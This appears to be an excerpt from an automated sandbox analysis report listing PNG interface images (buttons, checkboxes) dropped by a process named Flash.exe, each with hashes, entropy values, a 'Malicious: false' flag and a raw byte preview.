Preview:	.PNG........IHDR.......H....._..P....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:EFBBF4FF0DE411EBB3CCEDE4F9DFB3C5" xmpMM:DocumentID="xmp.did:EFBBF5000DE411EBB3CCEDE4F9DFB3C5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EFBBF4FD0DE411EBB3CCEDE4F9DFB3C5" stRef:documentID="xmp.did:EFBBF4FE0DE411EBB3CCEDE4F9DFB3C5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>7..g....IDATx....J.Q...5...eh..@.t`.e.y.7R...v....D7.....C.)..V..q;.....>..?.~.t7.?..S9...c6c...V..n.].9..y..M^.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\button-continue-hover0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 90 x 36, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1147
Entropy (8bit):	6.443505222006208
Encrypted:	false
SSDEEP:	24:Eu1hmYaWwjx82lY2T3XVg4O7bezyJ3V3a4PbU0GTgWj7bjUJQ7c:HMYLNn2D64OWOJ3Q4I0aQQw
MD5:	82FEA49E9BA0D2614CFDA02A3B3AC881
SHA1:	0A30B6BA7616843E3D994228D35A155C6058C9DB
SHA-256:	6E649C8A639DFE83965549C253161FE8D3014DF415D2C416809C622C0D96789A
SHA-512:	2C45F2216AA6A16A2FCC91004BACDD133B33A28127A0415B199745CF2A03D5BE3ABB1BA13A606EF31DE61BC003B5B5D97F0A33469A0F7AAC98685C75ACF27AD3
Malicious:	false
Preview:	.PNG........IHDR...Z...$.......-.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:0318AF76FCA111EAA94CBF5640A1ED8D" xmpMM:DocumentID="xmp.did:0318AF77FCA111EAA94CBF5640A1ED8D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0318AF74FCA111EAA94CBF5640A1ED8D" stRef:documentID="xmp.did:0318AF75FCA111EAA94CBF5640A1ED8D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx...A..@...IZFt....C:@...K....eG..Dhk...... .W...6f#=......k..u..S;.n...o.\|.g/.[...B...k./....}}....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\button-continue-hover1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 180 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1386
Entropy (8bit):	6.842082016180321
Encrypted:	false
SSDEEP:	24:hn1hmYaWwjx82lY2T3XVnnyJ3V/xEGN5qpQ/dY6disx8:jMYLNn2DQJ3DESF/9disq
MD5:	0BD3B74CC1EB769B743CBFABA0F4E97D
SHA1:	C96B50EAD54A8FFEC19E35B155A9D8B2D7596B1E
SHA-256:	14407C78CBFDF6FF0840F31458BF396A83389A61DE918255D66819C28AC03F2D
SHA-512:	89128642EBF245B0B87D7FD11A70790EB898A421957983A3755EDB59DD9C78AEEFFDABD29F413B1675CD12B5DCBCB90C72236F17342ED665F29CDA6DEBE278D3
Malicious:	false
Preview:	.PNG........IHDR.......H....._..P....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:EF72DEA10DE411EB9886E8DC1BFD46B6" xmpMM:DocumentID="xmp.did:EF72DEA20DE411EB9886E8DC1BFD46B6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EF72DE9F0DE411EB9886E8DC1BFD46B6" stRef:documentID="xmp.did:EF72DEA00DE411EB9886E8DC1BFD46B6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx...AJ.p...q...QA........../.RhAA.Qp!.w......ET...DfD...~.<.&....A3.....{...F...71.[.r.<.r....?g.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\button-continue-press0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 90 x 36, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1158
Entropy (8bit):	6.52646830865906
Encrypted:	false
SSDEEP:	24:Eu1hmYaWwjx82lY2T3XVKcdyJ3VBUYGCiPDXkV9hLB91/pz:HMYLNn2DQJ3oYFckPdBL/pz
MD5:	D4DBCE595242DD85A16367C7516964BE
SHA1:	ED19CD08EBC65F3B434554A76A60C781696AE5DF
SHA-256:	D1E42349F7DDE0887628FD88EEBFBD70BC711152CAF6AC46FD43E734E5BDC94C
SHA-512:	EFD1228F58A39DAC454063BE787C55ECA63BA43F545882253F92CDC753868201683B7B7C11C6956692491A89927F8864B1AA29CA8BFD3336047A3BD95FF87B30
Malicious:	false
Preview:	.PNG........IHDR...Z...$.......-.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:02CBAE5EFCA111EA9631B8BEB84F5B70" xmpMM:DocumentID="xmp.did:02CBAE5FFCA111EA9631B8BEB84F5B70"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:02CBAE5CFCA111EA9631B8BEB84F5B70" stRef:documentID="xmp.did:02CBAE5DFCA111EA9631B8BEB84F5B70"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>CM......IDATx...A..@...IZFt....#..t...t.vm..t..K.......4.r\.?..}.X?...$N.....L..\;.Z..........g..._`&....x.K..>..o

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\button-continue-press1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 180 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1394
Entropy (8bit):	6.868911970717903
Encrypted:	false
SSDEEP:	24:hn1hmYaWwjx82lY2T3XVaIRmCLyJ3Vv0xRE7Q0bGfvEw0Pt+6wcYWiVUTV8KNmYZ:jMYLNn2D8qmRJ3qroQeGCwcliV5Fq
MD5:	BA33F6DD0479363AEF8EA621E2303DCE
SHA1:	0BFEF1891CC4804A6A64A5376BA5431C7C3F30CC
SHA-256:	D5ECB3D193229559830ADB19A513B14786003C9371177A61AF1FA234AC3ECDA1
SHA-512:	10454C69D50F7CF03F87A9CF978620F5DCCF034B72E50CFB1BAEDF62140FDCA5BCAF62414331633F224E62FD3BD4665C9BF8A0882820CF759F3DE90F144F9CC0
Malicious:	false
Preview:	.PNG........IHDR.......H....._..P....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:EF216A220DE411EB95468D2829E0DA52" xmpMM:DocumentID="xmp.did:EF216A230DE411EB95468D2829E0DA52"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EF216A200DE411EB95468D2829E0DA52" stRef:documentID="xmp.did:EF216A210DE411EB95468D2829E0DA52"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.h......IDATx...OJ.q...4... X..B..,......".`..=......7B.J..{2S&.&.3.\|.........q.(........U.l.4^;.....?.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\button-exit-default0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 90 x 36, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	6.541113655096039
Encrypted:	false
SSDEEP:	24:Eu1hmYaWwjx82lY2T3XVD2s1ays6yJ3VDEshGnsgeGXI2OU/OyO:HMYLNn2D1N1EBJ31fssgeYRO7
MD5:	E50F717AFD805AC0129F8FF234DF7D24
SHA1:	705997AC24CEC7208444BCE0030C75B9D03A8C55
SHA-256:	4F678662282FDF118DFF9F2DE119E48406969ACCEF1A9133E89935248AF72E13
SHA-512:	F73EAE96B49E67E4C4EDD01ACE1CAF8A622F7622ABB47B0C34FD108AFF9A2D907297CE2573457EFACBA658A5CA53C827F2D1E5AA21B977B14C78BFD00FE2701B
Malicious:	false
Preview:	.PNG........IHDR...Z...$.......-.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:045DE67EFCA111EA9DB7A8C887CB5B37" xmpMM:DocumentID="xmp.did:045DE67FFCA111EA9DB7A8C887CB5B37"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:045DE67CFCA111EA9DB7A8C887CB5B37" stRef:documentID="xmp.did:045DE67DFCA111EA9DB7A8C887CB5B37"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.,y.....IDATx...Aj.@.....2.A..C..uis..&4{... ./...W2BI....C.0f...)n.dVj..7.Fv...2C1......Vvi.&/..i.Q.B....s..7

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\button-exit-default1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 180 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	6.985762168025358
Encrypted:	false
SSDEEP:	24:hn1hmYaWwjx82lY2T3XVi74LyJ3VQmLGVAsZUQaYZe3rDFhXOv:jMYLNn2D88GJ3/07aYZunLXI
MD5:	B9A6B308519AFF3D835BAA7265FD0D52
SHA1:	1C42B58FCDA562DF5EAD2C2DD50FB0804ECDD4B1
SHA-256:	8A71C3998F7E7F2D28FE26D37C25C2B83225986B351DF29957E511DB52B79242
SHA-512:	508B1BA20CCEF69B0A41CBE4FE0B5A93142316457162D564478DD6A3DCBEB715336C7844773F0BCDAD632CD88009927958B6D9A6F51A647437C562D588DA8B66
Malicious:	false
Preview:	.PNG........IHDR.......H....._..P....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F09D4BD30DE411EB907AFABD851D14E6" xmpMM:DocumentID="xmp.did:F09D4BD40DE411EB907AFABD851D14E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F09D4BD10DE411EB907AFABD851D14E6" stRef:documentID="xmp.did:F09D4BD20DE411EB907AFABD851D14E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..^....:IDATx...Ok.......k.....@..........D.8_.`......<,.y=*m'.\|..@..4.....f..%d)..q......X...1....Y.......

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\button-exit-hover0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 90 x 36, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1209
Entropy (8bit):	6.587852189952023
Encrypted:	false
SSDEEP:	24:Eu1hmYaWwjx82lY2T3XVDKPaEBsyJ3VDU3CV1GUd+hhYQXIu9qMo10:HMYLNn2D1KPPB/J31UyV1V+5XIuoM5
MD5:	47824EB279C57E1CDE863F95526D7BE8
SHA1:	0233FDB09D40F9E8C59B4A1B87B49CC82349F1F6
SHA-256:	65F626A7914BDBF260F4E6EF821106EF71D905E94BE663033722B220551FEF6B
SHA-512:	945FB991E98122FD7E06DD9C21FC04854E5A1918FC8501AEDA26A0C1C16318667AED49F17E2DC363A993885855E7A58FB3E354985E399BF7A5AD23D94EC6B9CB
Malicious:	false
Preview:	.PNG........IHDR...Z...$.......-.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:040ACE12FCA111EAA1DA84AC0A2DB817" xmpMM:DocumentID="xmp.did:040ACE13FCA111EAA1DA84AC0A2DB817"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:040ACE10FCA111EAA1DA84AC0A2DB817" stRef:documentID="xmp.did:040ACE11FCA111EAA1DA84AC0A2DB817"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......)IDATx...=J.A....5.d..eHc!be!.hc!..e..k#.@l.....h.....*b..Lt$[.o..0..}.[..a.j6.H>.Z........D.kg.GA.U.%.4.;[.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\button-exit-hover1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 180 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1518
Entropy (8bit):	7.016712512466015
Encrypted:	false
SSDEEP:	24:hn1hmYaWwjx82lY2T3XVTGdYyJ3VdrTZGla/47ESXgY8wB1H+O6UZm:jMYLNn2DWJ3Zn/cgY8wTnm
MD5:	9C862032123BC306831E2E87A3CC3F01
SHA1:	151575A89A8487FB002E1E5770E62768B7A6B447
SHA-256:	288676E17FC64B10E0EBCAE19B403B25D425123DC2CAB6032D09EE47C4F52BCF
SHA-512:	224ECE3AE4256CD995D4CB06236D2F52D5609415222724000CF9740AC754727F0AB3E3CF64A82A9F6AC0BF875E2E8A57D3D6D58576C4518DCCA75468F6C727D5
Malicious:	false
Preview:	.PNG........IHDR.......H....._..P....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F04F15FD0DE411EB8AECB42ABA55CDFD" xmpMM:DocumentID="xmp.did:F04F15FE0DE411EB8AECB42ABA55CDFD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F04F15FB0DE411EB8AECB42ABA55CDFD" stRef:documentID="xmp.did:F04F15FC0DE411EB8AECB42ABA55CDFD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>c(.....^IDATx...?KUq.....Qn..A......v...=j..p1.z.....E...0..!Zs.J.A....j.....GpO.^..st;.9..\Y+.9.........9..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\button-exit-press0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 90 x 36, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	6.579007586661034
Encrypted:	false
SSDEEP:	24:Eu1hmYaWwjx82lY2T3XVqK4b3gKayJ3V7EKBboPKfG6MqMJAtXy9:HMYLNn2DU7gyJ31ELPANyCti9
MD5:	3716113833B7659736019D662A20A4CA
SHA1:	20DF642B2642087891E6FEDB7E92577BFAC97184
SHA-256:	7F132DFEA05F4E043F3EEC4D396CCD712C4276E88064189622EF662345D34A40
SHA-512:	094C1DBAC815B3F848682DBAB1AD73AFBF6EFC6D971AD9D4DC8EA1537980A2B6609DE6BBECB1FD6DD59E0C65D45419421243063983D5847719C44D48C9F1A01D
Malicious:	false
Preview:	.PNG........IHDR...Z...$.......-.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:03B4D262FCA111EA994DE2DD45266A69" xmpMM:DocumentID="xmp.did:03B4D263FCA111EA994DE2DD45266A69"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:03B4D260FCA111EA994DE2DD45266A69" stRef:documentID="xmp.did:03B4D261FCA111EA994DE2DD45266A69"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx...N.P.....P.3a%..aPV.u4.......k \.........7/@.....5\.)..$o......uj.o#.d]YC....J6.=.>..M...e..5.s.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\button-exit-press1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 180 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1520
Entropy (8bit):	6.982041557725185
Encrypted:	false
SSDEEP:	24:hn1hmYaWwjx82lY2T3XV0HAXyJ3VO+GwGH5WI92yqF2DCm3rfcfGLUDRJTb8v6M5:jMYLNn2DWgCJ38xw4UyqFkCAL4RW3cwr
MD5:	BF99F8226CF632968D35B4393A7BD1F0
SHA1:	71467AF5E4E52CB631C8C9BE5BD521FAD6682F14
SHA-256:	54BE88E3984D35A71C0E141967087E44F4ABF10383797BEEFB50DA6ECBB53AEB
SHA-512:	9680DDD0259DADEB3CCE791CD1BE4F3FD5217720E1A6647FDF2D19070C27CA6A3806D43EEFF56EA287F893348BDDCA57F11B54B3B55C5C9206C73A7C165DAC2F
Malicious:	false
Preview:	.PNG........IHDR.......H....._..P....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F005A1CE0DE411EBADBFC24296A76598" xmpMM:DocumentID="xmp.did:F005A1CF0DE411EBADBFC24296A76598"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F005A1CC0DE411EBADBFC24296A76598" stRef:documentID="xmp.did:F005A1CD0DE411EBADBFC24296A76598"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.lc....`IDATx....nLq........5Q..%.xI....]s../......HH...K..q..P..Ri.H.R/3...b..W0..I..93..>993.c.K./.cgbS.=.-.....B

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\checked0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1153
Entropy (8bit):	6.474065192387645
Encrypted:	false
SSDEEP:	24:U1hmYaWwjx82lY2T3XV+AZ7yJ3V+cZ+G0tX1Kec:aMYLNn2DMAWJ3M8+dX1Kec
MD5:	3B19E6331F9FFEEAC7FA639238094B93
SHA1:	637B4A16D2530EDDAB96884F7A95CC50C10E93E5
SHA-256:	FA3AED884FC7B0369C1BFDFE99F6008D2B4291D9E82BF6799B2098BA3E346AD3
SHA-512:	A351003194B1EDB2113D0DC877EA79FF3BD0C4240B42BF0C7D5A8C28B92602A9F59EEFB7FBFEECF3E4FBB6B7B0D3792460183582A0265370B34F820B3F5A6B12
Malicious:	false
Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:085F4EBBFCA111EA9710E7986A354113" xmpMM:DocumentID="xmp.did:085F4EBCFCA111EA9710E7986A354113"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:085F4EB9FCA111EA9710E7986A354113" stRef:documentID="xmp.did:085F4EBAFCA111EA9710E7986A354113"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..7o....IDATx.b<s.'...\ .d .<..d....>\|..T............T..#..@! .W..2T.~....?...).3..ax....'.#C]. ..@.)..P......@

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\checked1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1338
Entropy (8bit):	6.800183276359454
Encrypted:	false
SSDEEP:	24:91hmYaWwjx82lY2T3XVKzgtP7QgtLyJ3V0Jgtq2gt8GmqMLgtLn9wIK0Bs8tUvp:jMYLNn2DugtPcgtGJ3Mgt1gt8aMLgtLq
MD5:	DD67CFF5F1D6E24B5C7B69632033B978
SHA1:	226C5FBCC6895399FF20817C24A38938C835A7CA
SHA-256:	92A498699ACE53FA2496C79FB7119683B082057AA88EC6159D104ED29A3B07B7
SHA-512:	82D62B65375BCFE2791FF58908C9D2C7406D649D22765CA5D146639FEB2FB0AA7F5ACDA050E709854DB79762665EAA8D4C4B3DF5E17B8EAB8855A09083807CA3
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F2FFB1630DE411EBBB16BFE1B65D6DE6" xmpMM:DocumentID="xmp.did:F2FFB1640DE411EBBB16BFE1B65D6DE6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F2FFB1610DE411EBBB16BFE1B65D6DE6" stRef:documentID="xmp.did:F2FFB1620DE411EBBB16BFE1B65D6DE6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.qd.....IDATx..J.P..OB0.E$.3...U......>.8... .+.8(..&b.<@.1sCm+....{%.MlL.-....).wonNs4.u...9.lb.@n.1......%L.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\close_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2653
Entropy (8bit):	7.647120494009284
Encrypted:	false
SSDEEP:	48:/ccNn2VsrJ3+obhE82UlsP0PFNc7LUZEKlax2rLbbjQDQxm5DVD0UHe:0k2qgafLmIcLaE+acrnQMgFb+
MD5:	ECD545FC4A0E81B5BC0076FC34D49B7A
SHA1:	79C27CFC7054FF4C52D428E63CF91264984FDD89
SHA-256:	B733F9351938AD36C8E733639F581F4BBD70840874E6EF05101F8E1D8CCDBD7F
SHA-512:	EBC6AD8FC54CD5E6EF2143F73D23EED39E23A43007BF3BAEF828F35578836E6F5F859F74B234F667B65F58568FEA817AF124204F746AEEB006BDF396183626D0
Malicious:	false
